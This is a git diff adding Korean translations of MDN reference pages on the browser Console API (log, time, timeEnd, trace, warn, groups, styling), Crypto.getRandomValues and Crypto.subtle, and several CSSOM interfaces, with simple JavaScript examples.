+ +

여러 객체 출력하기

+ +

여러 객체를 출력하는 방법은 메서드를 호출할 때 모두 나열하면 됩니다.

+ +
var car = "Dodge Charger";
+var someObject = {str:"Some text", id:5};
+console.info("My first car was a", car, ". The object is: ", someObject);
+ +

출력은 다음과 같습니다.

+ +
[09:28:22.711] My first car was a Dodge Charger. The object is: ({str:"Some text", id:5})
+
+ +

문자열 치환

+ +

log()처럼 문자열을 받는 콘솔 메서드에는 아래의 치환 문자열을 제공할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + + + +
치환 문자열설명
%o 또는 %OJavaScript 객체를 출력합니다. 객체 이름을 클릭하면 검사기에 더 자세한 정보를 보여줍니다.
%d 또는 %i정수를 출력합니다. 서식도 지원합니다. 예를 들어 console.log("Foo %.2d", "1.1")은 정수부를 0이 앞서는 두 자리로 표현하므로 Foo 01을 출력합니다.
%s문자열을 출력합니다.
%f부동소수점 수를 출력합니다. 서식도 지원합니다. 예를 들어 console.log("Foo %.2f", "1.1")은 소수부를 두 자리로 표현하므로 Foo 1.10을 출력합니다.
+ +
+

참고: Chrome은 숫자 서식을 지원하지 않습니다.

+
+ +

각각의 치환 문자열은 이후 매개변수에서 값을 가져옵니다. 예를 들어...

+ +
for (var i=0; i<5; i++) {
+  console.log("Hello, %s. You've called me %d times.", "Bob", i+1);
+}
+
+ +

위의 출력은 다음과 같습니다.

+ +
[13:14:13.481] Hello, Bob. You've called me 1 times.
+[13:14:13.483] Hello, Bob. You've called me 2 times.
+[13:14:13.485] Hello, Bob. You've called me 3 times.
+[13:14:13.487] Hello, Bob. You've called me 4 times.
+[13:14:13.488] Hello, Bob. You've called me 5 times.
+
+ +

console 출력 꾸미기

+ +

"%c" 명령을 사용해 콘솔 출력에 CSS 스타일을 적용할 수 있습니다.

+ +
console.log("This is %cMy stylish message", "color: yellow; font-style: italic; background-color: blue;padding: 2px");
+ +
명령 이전의 텍스트는 영향을 받지 않고, 이후의 텍스트는 매개변수로 제공한 CSS 선언을 적용합니다.
+ +
+ +
+ +

%c 구문과 함께 사용할 수 있는 CSS 속성은 다음과 같습니다. (Firefox 기준, 브라우저마다 다를 수 있음)

+ + + +
+

참고: 콘솔 메시지는 인라인 요소처럼 행동합니다. padding, margin등의 효과를 보려면 display: inline-block 등을 지정해야 합니다.

+
+ +

콘솔 그룹 사용하기

+ +

중첩 그룹을 사용하면 서로 관련된 출력 결과를 시각적으로 묶어 정돈할 수 있습니다. 새로운 중첩 블록을 생성하려면 console.group()을 호출하세요. console.groupCollapsed() 메서드도 유사하지만, 대신 새로운 블록을 접힌 채로 생성하므로 내부를 보려면 열어야 합니다.

+ +

현재 그룹에서 나가려면 console.groupEnd()를 호출하세요. 예를 들어...

+ +
console.log("This is the outer level");
+console.group("First group");
+console.log("In the first group");
+console.group("Second group");
+console.log("In the second group");
+console.warn("Still in the second group");
+console.groupEnd();
+console.log("Back to the first group");
+console.groupEnd();
+console.debug("Back to the outer level");
+ +

위의 출력은 다음과 같습니다.

+ +

Demo of nested groups in Firefox console

+ +

타이머

+ +

특정 작업의 소요시간을 측정할 땐 타이머를 사용할 수 있습니다. 타이머를 시작하려면 console.time() 메서드를 호출하세요. 유일한 매개변수로 타이머의 이름을 제공할 수 있습니다. 타이머를 멈추고, 시작한 후 지난 시간을 알아내려면 console.timeEnd() 메서드를 호출하세요. 역시, 유일한 매개변수로 이전에 사용한 타이머 이름을 제공하면 됩니다.

+ +

예를 들어...

+ +
console.time("answer time");
+alert("Click to continue");
+console.timeLog("answer time");
+alert("Do a bunch of other stuff...");
+console.timeEnd("answer time");
+ +

위의 코드는 사용자가 경고 상자를 닫는데 걸린 시간을 기록한 후 출력하고, 두 번째 경고를 닫을 때까지 기다린 후, 총 걸린 시간을 출력합니다.

+ +

timerresult.png

+ +

시작할 때와 끝낼 때 모두 타이머의 이름이 표시됨을 알 수 있습니다.

+ +
참고: 타이머를 네트워크 트래픽 소요시간 측정에 사용하는 경우, 타이머는 총 소요시간을 보여주지만 네트워크 패널에 표시되는 시간은 헤더에 소모한 시간만 나타낸다는 것을 알아야 합니다. 응답 본문 로깅을 활성화한 경우, 응답 헤더와 본문의 시간을 합한 값이 타이머의 콘솔 출력과 비슷해야 합니다.
+ +

스택 추적

+ +

콘솔 객체는 스택 추적도 지원합니다. 스택 추적은 {{domxref("console.trace()")}}를 호출하게 된 경로를 보입니다. 예를 들어...

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

위 코드의 출력 결과는 다음과 같습니다.

+ +

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console")}}

+ +

같이 보기

+ + + +

다른 구현체

+ + diff --git a/files/ko/web/api/console/log/index.html b/files/ko/web/api/console/log/index.html new file mode 100644 index 0000000000..0b67dd2293 --- /dev/null +++ b/files/ko/web/api/console/log/index.html @@ -0,0 +1,94 @@ +--- +title: Console.log() +slug: Web/API/Console/log +tags: + - API + - console + - console.log() + - 메소드 +translation_of: Web/API/Console/log +--- +
{{APIRef("Console API")}}
+ +

Web Console에 메시지를 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
console.log(obj1 [, obj2, ..., objN]);
+console.log(msg [, subst1, ..., substN]);
+
+ +

매개 변수

+ +
+
obj1 ... objN
+
출력할 자바스크립트 객체의 모음입니다. 각각의 자바스크립트 객체들의 문자열 표현은 순서가 있는 목록에 추가되며, 출력됩니다. 
+
msg
+
0개 이상의 치환 문자열(ex:%d, %s)들을 포함하는 자바스크립트 문자열입니다.
+
subst1 ... substN
+
msg 내의 치환 문자열들을 치환할 자바스크립트 객체들입니다. 이것은 추가적인 출력 형식 제어권을 제공합니다.
+
+ +

자세한 내용은 {{domxref("console")}} 기록 문서에서 Outputting text to the console을 참조하십시오.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#consolelogobject--object-", "console.log()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.log")}}

+ +

console.dir() 과의 차이

+ +

당신은 console.dir() 과 console.log() 가 무엇이 다른지 궁금할 수 있습니다.

+ +

DOM 요소들을 콘솔로 보낼 때 Chrome에서 다른 유용한 차이점이 있습니다.

+ +

+ +

안내:

+ + + +

구체적으로, console.log는 DOM 요소에 대해 특별한 처리를 제공하지만 console.dir은 그렇지 않습니다. 이것은 종종 DOM JS 객체의 전체 표현을 보려고 할 때 유용합니다.

+ +

이것과 다른 함수들에 대한 더 많은 정보가  Chrome Console API reference에 있습니다.

+ +

객체 로깅하기

+ +

console.log(obj);를 사용하지 말고 
+ console.log(JSON.parse(JSON.stringify(obj)));를 사용하시기 바랍니다.

+ +

이 방법은 여러분이 로그를 남길 당시의 obj 값을 보려고 사용했을겁니다. 그러나 많은 브라우저가 값이 갱신 될때마다 끊임없이 바뀐 값을 보여줍니다. 이는 여러분이 원하는 방법이 아닐겁니다.

+ +

참조

+ + diff --git a/files/ko/web/api/console/time/index.html b/files/ko/web/api/console/time/index.html new file mode 100644 index 0000000000..bcb3777ccb --- /dev/null +++ b/files/ko/web/api/console/time/index.html @@ -0,0 +1,56 @@ +--- +title: Console.time() +slug: Web/API/Console/time +translation_of: Web/API/Console/time +--- +
{{APIRef("Console API")}}
+ +

타이머를 시작해 작업이 얼마나 걸리는지 추적할 수 있습니다. 각 타이머에게 고유한 이름을 줄 수 있고, 한 페이지에 최대 10,000개의 타이머를 설정할 수 있습니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출할 때, 브라우저가 밀리초 단위로 경과한 시간을 출력합니다.

+ +

자세한 내용과 예제는 {{domxref("console")}} 내의 타이머를 확인하세요.

+ +

{{AvailableInWorkers}}

+ +

문법

+ +
console.time(label);
+
+ +

파라미터

+ +
+
label
+
새 타이머에게 설정할 이름. 타이머를 식별합니다. 같은 이름으로 {{domxref("console.timeEnd()")}}를 호출하면 타이머가 중단되고 콘솔에 시간을 출력합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#time", "console.time()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.time")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/console/timeend/index.html b/files/ko/web/api/console/timeend/index.html new file mode 100644 index 0000000000..d9bc7674e5 --- /dev/null +++ b/files/ko/web/api/console/timeend/index.html @@ -0,0 +1,68 @@ +--- +title: Console.timeEnd() +slug: Web/API/Console/timeEnd +tags: + - 디버깅 + - 웹 개발 + - 웹 콘솔 + - 콘솔 + - 타이머 +translation_of: Web/API/Console/timeEnd +--- +
{{APIRef("Console API")}}
+ +
이전에 {{domxref("console.time()")}}를 호출하여 시작된 타이머를 중지하고 웹 콘솔에 경과 시간을 밀리초 단위로 표시합니다.
+ +
 
+ +
자세한 내용과 예제는 콘솔 문서의 Timers를 참조하세요.
+ +
 
+ +

{{AvailableInWorkers}}

+ +

구문(Syntax)

+ +
console.timeEnd(label);
+
+ +

매개 변수(Parameters)

+ +
+
label
+
중지할 타이머의 이름입니다. console.time()를 호출할 때의 이름을 사용하여 해당 타이머를 중지할 수 있는 식별자 역할을 합니다.
+
+ +

명세서(Specifications)

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#timeend", "console.timeEnd()")}}{{Spec2("Console API")}}Initial definition
+ +

브라우저 호환성(Browser compatibility)

+ +
+ + +

{{Compat("api.Console.timeEnd")}}

+
+ +

함께 보기(See also)

+ + diff --git a/files/ko/web/api/console/trace/index.html b/files/ko/web/api/console/trace/index.html new file mode 100644 index 0000000000..2726eca0d4 --- /dev/null +++ b/files/ko/web/api/console/trace/index.html @@ -0,0 +1,77 @@ +--- +title: console.trace() +slug: Web/API/Console/trace +tags: + - API + - DOM + - Firefox + - 디버깅 + - 메소드 + - 웹 개발 + - 웹 콘솔 + - 추적 + - 콘솔 + - 크롬 +translation_of: Web/API/Console/trace +--- +
{{APIRef("Console API")}}
+ +

웹 콘솔에 스택 추적을 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

자세한 내용과 예제는 {{domxref("console")}} 내의 스택 추적을 확인하세요.

+ +

문법

+ +
console.trace();
+
+ +

예제

+ +
function foo() {
+  function bar() {
+    console.trace();
+  }
+  bar();
+}
+
+foo();
+
+ +

콘솔에 다음과 같은 추적이 표시됩니다.

+ +
bar
+foo
+<anonymous>
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#trace", "console.trace()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.trace")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/console/warn/index.html b/files/ko/web/api/console/warn/index.html new file mode 100644 index 0000000000..b63bb925db --- /dev/null +++ b/files/ko/web/api/console/warn/index.html @@ -0,0 +1,70 @@ +--- +title: Console.warn() +slug: Web/API/Console/warn +tags: + - API + - DOM + - 디버깅 + - 메소드 + - 웹 개발 + - 웹 콘솔 +translation_of: Web/API/Console/warn +--- +
{{APIRef("Console API")}}
+ +

웹 콘솔에 경고 메시지를 출력합니다.

+ +

{{AvailableInWorkers}}

+ +

{{Note("Firefox에서는 웹 콘솔의 경고 옆에 작은 느낌표 아이콘이 나타납니다.")}}

+ +

문법

+ +
console.warn(obj1 [, obj2, ..., objN]);
+console.warn(msg [, subst1, ..., substN]);
+
+ +

파라미터

+ +
+
obj1 ... objN
+
출력할 JavaScript 객체의 리스트. 각 객체의 문자열 표현은 입력한 순서대로 함께 출력됩니다.
+
msg
+
0개 이상의 문자열을 포함하는 JavaScript 문자열.
+
subst1 ... substN
+
msg 안의 문자열을 대체하기 위한 JavaScript 객체. 출력의 형식을 추가로 제어할 수 있게해줍니다.
+
+ +

자세한 내용은 {{domxref("console")}} 문서 내 콘솔에 텍스트를 출력하기를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Console API", "#warn", "console.warn()")}}{{Spec2("Console API")}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console.warn")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/console_api/index.html b/files/ko/web/api/console_api/index.html new file mode 100644 index 0000000000..54760b8f78 --- /dev/null +++ b/files/ko/web/api/console_api/index.html @@ -0,0 +1,76 @@ +--- +title: Console API +slug: Web/API/Console_API +tags: + - API + - Console API + - Overview + - console + - 로그 + - 로깅 + - 콘솔 +translation_of: Web/API/Console_API +--- +
{{DefaultAPISidebar("Console API")}}
+ +

Console API는 코드의 특정 지점에서 값이나 변수를 기록하고, 작업의 소요 시간을 알아내는 등 개발자가 사용할 수 있는 디버깅 기능을 제공합니다.

+ +

개념과 사용법

+ +

Console API는 사유 API로 시작하였으며, 브라우저가 각자 다른 구현을 했습니다. 이후 Console API 명세가 만들어져 일관적인 동작 방식을 정의하였으며, 결국 모든 최신 브라우저가 같은 동작을 따르게 되었습니다. 그러나 일부 구현체는 여전히 자신만의 사유 함수를 가지고 있습니다. 다음 링크에서 알아보세요.

+ + + +

사용은 매우 간단합니다. {{domxref("Window.console")}}, 워커에서는 {{domxref("WorkerGlobalScope.console")}}, 아니면 그냥 console로 접근 가능한 {{domxref("console")}} 객체는 브라우저의 웹 콘솔에 값을 기록하는 등 기초적인 디버깅 작업에 사용할 수 있는 메서드를 제공합니다.

+ +

가장 자주 쓰이는 메서드는 {{domxref("console.log()")}}이며, 변수의 값을 기록할 때 사용합니다.

+ +

인터페이스

+ +
+
{{domxref("console")}}
+
로깅, 스택 추적, 타이머, 카운터 등 기초적인 디버깅 기능을 제공합니다.
+
+ +

예제

+ +
let myString = 'Hello world';
+
+// Output "Hello world" to the console
+console.log(myString);
+ +

{{domxref("console")}} 문서의 예제 항목에서 더 많은 예제를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Console API')}}{{Spec2('Console API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Console")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/crypto/getrandomvalues/index.html b/files/ko/web/api/crypto/getrandomvalues/index.html new file mode 100644 index 0000000000..4bf373c855 --- /dev/null +++ b/files/ko/web/api/crypto/getrandomvalues/index.html @@ -0,0 +1,73 @@ +--- +title: Crypto.getRandomValues() +slug: Web/API/Crypto/getRandomValues +tags: + - API + - Cryptography + - Method + - Reference +translation_of: Web/API/Crypto/getRandomValues +--- +
{{APIRef("Web Crypto API")}}
+ +

Crypto.getRandomValues() 함수는 암호학적으로 강력한 수준의 임의의(random) 값을 생성합니다. 매개 변수로 제공된 배열은 임의의 숫자로 채워집니다 (암호화의 의미는 무작위입니다).

+ +

충분한 성능을 보장하기 위해 구현에서는 진정한 난수 생성기(pseudo-random number)를 사용하지 않지만 충분한 엔트로피가있는 값으로 시드 된 의사 난수 생성기를 사용하고 있습니다. 사용 된 유사난수 생성기(pseudorandom number generator, PRNG)는 구현마다 다르지만 암호화 용도에 적합합니다. 시스템 수준의 엔트로피 소스처럼 충분한 엔트로피가있는 시드를 사용하려면 구현이 필요합니다.

+ +

구문

+ +
cryptoObj.getRandomValues(typedArray);
+ +

매개변수

+ +
+
typedArray
+
Is an integer-based {{jsxref("TypedArray")}}, that is an {{jsxref("Int8Array")}}, a {{jsxref("Uint8Array")}}, an {{jsxref("Int16Array")}}, a {{jsxref("Uint16Array")}}, an {{jsxref("Int32Array")}}, or a {{jsxref("Uint32Array")}}. 배열의 모든 요소는 임의의 숫자로 재정의됩니다.
+
+ +

예외

+ + + +

예제

+ +
/* window.crypto.getRandomValues 를 사용가능하다고 가정한다. */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("나의 행운의 숫자들:");
+for (var i = 0; i < array.length; i++) {
+    console.log(array[i]);
+}
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}{{Spec2('Web Crypto API')}}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("api.Crypto.getRandomValues")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/crypto/index.html b/files/ko/web/api/crypto/index.html new file mode 100644 index 0000000000..759b7c045d --- /dev/null +++ b/files/ko/web/api/crypto/index.html @@ -0,0 +1,35 @@ +--- +title: Crypto +slug: Web/API/Crypto +translation_of: Web/API/Crypto +--- +

{{APIRef("Web Crypto API")}}

+ +

Crypto 인터페이스는 현재 환경에서 사용 가능한 기본적인 암호화 기법을 제공합니다. 이 인터페이스를 통해 암호학적으로 강력한 무작위 숫자 생성기나 암호화에 필요한 기본 요소에 접근할 수 있습니다.

+ +

이 인터페이스 객체는 {{domxref("Window.crypto")}} 속성을 통해 웹에서 사용 가능합니다.

+ +

속성

+ +

이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.

+ +
+
{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}
+
해싱, 서명, 암호화, 복호화같은 암호화 기법에 필요한 공통 요소들에 접근할 수 있는 객체를 반환.
+
+ +

메소드

+ +

이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.

+ +
+
{{ domxref("RandomSource.getRandomValues()") }}
+
넘겨받은 {{ jsxref("TypedArray") }}를 암호학적으로 무작위인 값으로 채움.
+
+

더보기

+ + +
+
diff --git a/files/ko/web/api/crypto/subtle/index.html b/files/ko/web/api/crypto/subtle/index.html new file mode 100644 index 0000000000..a3e0e6e40c --- /dev/null +++ b/files/ko/web/api/crypto/subtle/index.html @@ -0,0 +1,36 @@ +--- +title: Crypto.subtle +slug: Web/API/Crypto/subtle +translation_of: Web/API/Crypto/subtle +--- +
{{APIRef("Web Crypto API")}}
+ +

Crypto.subtle 은 읽기전용 속성이며 암호화 기법을 수행할 수 있는 {{domxref("SubtleCrypto")}} 객체를 반환합니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태비고
{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}{{ Spec2('Web Crypto API') }}Initial definition.
+ +

브라우저 호환성

+ +

{{Compat("api.Crypto.subtle")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/css/index.html b/files/ko/web/api/css/index.html new file mode 100644 index 0000000000..1b36fb9573 --- /dev/null +++ b/files/ko/web/api/css/index.html @@ -0,0 +1,81 @@ +--- +title: CSS +slug: Web/API/CSS +tags: + - API + - CSSOM + - Interface + - Painting + - Reference +translation_of: Web/API/CSS +--- +
{{APIRef("CSSOM")}}
+ +

CSS 인터페이스는 유용한 CSS 관련 메서드를 가집니다. CSS 인터페이스는 정적 속성과 메서드만 가지고 있으며 아무런 객체도 CSS 인터페이스를 구현하지 않습니다. 

+ +

속성

+ +

CSS 인터페이스는 유틸리티 인터페이스이며, 이러한 형식의 어떠한 객체도 만들수 없으며 오직 정적 속성으로만 정의할 수 있습니다.

+ +

정적 속성

+ +
+
{{domxref("CSS.paintWorklet")}} {{experimental_inline}} {{SecureContext_Inline}}
+
페인팅(painting)에 관련된 모든 클래스를 지닌 워크렛(worklet)에 접근할 수 있습니다.
+
+ +

메서드

+ +

정적 메서드

+ +
+
{{domxref("CSS.registerProperty()")}}
+
사용자 지정 CSS 속성을 등록하고 속성 자료형 검사, 기본값, 상속 여부 등을 설정할 수 있습니다.
+
{{domxref("CSS.supports()")}}
+
매개변수로 주어진 속성-값 쌍 또는 조건의 지원 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.
+
+ +
+
{{domxref("CSS.escape()")}} {{experimental_inline}}
+
CSS 선택자로 사용할 문자열을 이스케이프해서 반환합니다.
+
{{domxref("CSS.factory_functions", "CSS 팩토리 함수", "", 1)}}
+
매개변수로 지정한 값을 담은 새로운 {{domxref("CSSUnitValue")}}를 생성합니다. 단위는 팩토리 함수의 이름입니다.
+
+
CSS.em(3) // CSSUnitValue {value: 3, unit: "em"}
+
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS Painting API','#dom-css-paintworklet','paintWorklet')}}{{Spec2('CSS Painting API')}}paintWorklet 정적 속성 추가
{{SpecName('CSSOM', '#the-css.escape()-method', 'CSS')}}{{Spec2('CSSOM')}}escape() 정적 메서드 추가
{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}{{Spec2('CSS3 Conditional')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.CSS")}}

diff --git a/files/ko/web/api/css_object_model/index.html b/files/ko/web/api/css_object_model/index.html new file mode 100644 index 0000000000..53ffb2439a --- /dev/null +++ b/files/ko/web/api/css_object_model/index.html @@ -0,0 +1,189 @@ +--- +title: CSS 객체 모델 (CSSOM) +slug: Web/API/CSS_Object_Model +tags: + - API + - CSSOM + - Overview + - Reference +translation_of: Web/API/CSS_Object_Model +--- +

{{DefaultAPISidebar('CSSOM')}}

+ +

CSS Object Model은 JavaScript에서 CSS를 조작할 수 있는 API 집합입니다. HTML 대신 CSS가 대상인 DOM이라고 생각할 수 있으며, 사용자가 CSS 스타일을 동적으로 읽고 수정할 수 있는 방법입니다.

+ +

참고서

+ +
+ +
+ +

여러 다른 인터페이스도 CSSOM-related 규격에 의해 확장됩니다 : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.

+ +

CSS 자료형 객체 모델 {{experimental_inline}}

+ +

{{SeeCompatTable}}

+ +
+ +
+ +

자습서

+ + + +

명세서

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS Typed OM")}}{{Spec2("CSS Typed OM")}}
{{SpecName("CSS Painting API")}}{{Spec2("CSS Painting API")}}Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.
{{SpecName("CSSOM View")}}{{Spec2("CSSOM View")}}Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.
{{SpecName("CSSOM")}}{{Spec2("CSSOM")}}Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.
{{SpecName("Screen Orientation")}}{{Spec2("Screen Orientation")}}
{{SpecName("CSS3 Fonts")}}{{Spec2("CSS3 Fonts")}}
{{SpecName("CSS3 Animations")}}{{Spec2("CSS3 Animations")}}
{{SpecName("CSS3 Transitions")}}{{Spec2("CSS3 Transitions")}}
{{SpecName("CSS3 Variables")}}{{Spec2("CSS3 Variables")}}
{{SpecName("CSS3 Conditional")}}{{Spec2("CSS3 Conditional")}}Defined the {{DOMxRef("CSS")}} interface.
{{SpecName("CSS3 Device")}}{{Spec2("CSS3 Device")}}
{{SpecName("CSS3 Counter Styles")}}{{Spec2("CSS3 Counter Styles")}}
{{SpecName("DOM2 Style")}}{{Spec2("DOM2 Style")}}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/cssmediarule/index.html b/files/ko/web/api/cssmediarule/index.html new file mode 100644 index 0000000000..b386fbb083 --- /dev/null +++ b/files/ko/web/api/cssmediarule/index.html @@ -0,0 +1,70 @@ +--- +title: CSSMediaRule +slug: Web/API/CSSMediaRule +tags: + - API + - CSSOM + - Interface + - Reference +translation_of: Web/API/CSSMediaRule +--- +
{{APIRef("CSSOM")}}
+ +

CSSMediaRule 인터페이스는 하나의 CSS {{cssxref("@media")}} 규칙을 나타냅니다. {{domxref("CSSConditionRule")}} 인터페이스를 구현하므로, {{domxref("CSSGroupingRule")}}과 {{domxref("CSSRule")}} 인터페이스도 유형값 4 (CSSRule.MEDIA_RULE)로 구현합니다.

+ +

구문

+ +

WebIDL 형식을 사용해 서술합니다.

+ +
interface CSSMediaRule : CSSConditionRule {
+    readonly attribute MediaList media;
+}
+
+ +

속성

+ +

CSSMediaRule은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 속성을 구현합니다. 다음과 같은 자체 속성을 가집니다.

+ +
+
{{domxref("CSSMediaRule.media")}} {{readonlyinline}}
+
스타일 정보를 적용할 매체 정보를 나타내는 {{domxref("MediaList")}}입니다.
+
+ +

메서드

+ +

CSSMediaRule은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 메서드를 구현합니다. 자체 메서드는 가지지 않습니다.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }}{{ Spec2('CSS3 Conditional')}}Make it derived from the {{domxref("CSSConditionRule")}}.
{{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }}{{ Spec2('CSSOM') }}No changes from {{SpecName('DOM2 Style')}}
{{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }}{{ Spec2('DOM2 Style') }} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.CSSMediaRule")}}

diff --git a/files/ko/web/api/cssomstring/index.html b/files/ko/web/api/cssomstring/index.html new file mode 100644 index 0000000000..d7366af22e --- /dev/null +++ b/files/ko/web/api/cssomstring/index.html @@ -0,0 +1,73 @@ +--- +title: CSSOMString +slug: Web/API/CSSOMString +tags: + - API + - CSSOM + - 레퍼런스 +translation_of: Web/API/CSSOMString +--- +

{{APIRef("DOM")}}

+ +

CSSOMString 은 CSSOM 명세로 문자형 데이터를 나타내기위해 사용되며 {{domxref("DOMString")}} 또는 {{domxref("USVString")}} 을 참조할 수 있습니다. 명세의 CSSOMString 은 브라우저 공급 업체가 DOMString 과 USVString 중 사용하도록 선택한 것에 따라 결정됩니다. 메모리에 문자열을 표현하기 위해 내부적으로 UTF-8을 사용하도록 구현된 브라우저는 명세에서 CSSOMString 이 나타날 때 USVString 을 사용할 수 있지만, 이미 16 비트 시퀀스로 표현된 문자열은 DOMString 을 사용하도록 대신 선택될 것입니다.

+ +

구현 차이점

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
브라우저CSSOMString 를 위한 DOMString 또는 USVString
Firefox (Gecko)USVString
Chrome (Blink)USVString
Safari (WebKit)USVString
Edge (EdgeHTML)-
Opera (Blink)USVString
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('CSSOM', '#cssomstring-type', 'CSSOMString')}}{{Spec2("CSSOM")}}초기 정의.
+ +

함께 보기

+ + diff --git a/files/ko/web/api/cssstylesheet/index.html b/files/ko/web/api/cssstylesheet/index.html new file mode 100644 index 0000000000..08723ac9ba --- /dev/null +++ b/files/ko/web/api/cssstylesheet/index.html @@ -0,0 +1,139 @@ +--- +title: CSSStyleSheet +slug: Web/API/CSSStyleSheet +tags: + - API + - CSSOM + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/CSSStyleSheet +--- +
{{APIRef("CSSOM")}}
+ +

The CSSStyleSheet interface represents a single CSS style sheet. It inherits properties and methods from its parent, {{domxref("StyleSheet")}}.

+ +

A style sheet consists of {{domxref("CSSRule", "rules", "", 1)}}, such as {{domxref("CSSStyleRule", "style rules", "", 1)}} ("h1,h2 { font-size: 16pt }"), various at-rules (@import, @media, ...), etc. This interface lets you inspect and modify the list of rules in the stylesheet.

+ +

See the {{anch("Notes")}} section for the various ways a CSSStyleSheet object can be obtained.

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("StyleSheet")}}.

+ +
+
{{domxref("CSSStyleSheet.cssRules")}}
+
Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.
+ This is normally used to access individual rules like this: +
   styleSheet.cssRules[i] // where i = 0..cssRules.length-1
+ To add or remove items in cssRules, use the CSSStyleSheet's deleteRule() and insertRule() methods, described below.
+
{{domxref("CSSStyleSheet.ownerRule")}}
+
If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the ownerRule property will return that {{domxref("CSSImportRule")}}, otherwise it returns null.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("Stylesheet")}}.

+ +
+
{{domxref("CSSStyleSheet.deleteRule()")}}
+
Deletes a rule at the specified position from the style sheet.
+
{{domxref("CSSStyleSheet.insertRule()")}}
+
Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.
+
+ +

Notes

+ +

In some browsers, if a stylesheet is loaded from a different domain, calling cssRules results in SecurityError.

+ +

A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of CSSStyleSheet objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its owner object (Node or CSSImportRule), if any.

+ +

A CSSStyleSheet object is created and inserted into the document's styleSheets list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new CSSStyleSheet object manually (although Constructable Stylesheet Objects is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.

+ +

A (possibly incomplete) list of ways a style sheet can be associated with a document follows:

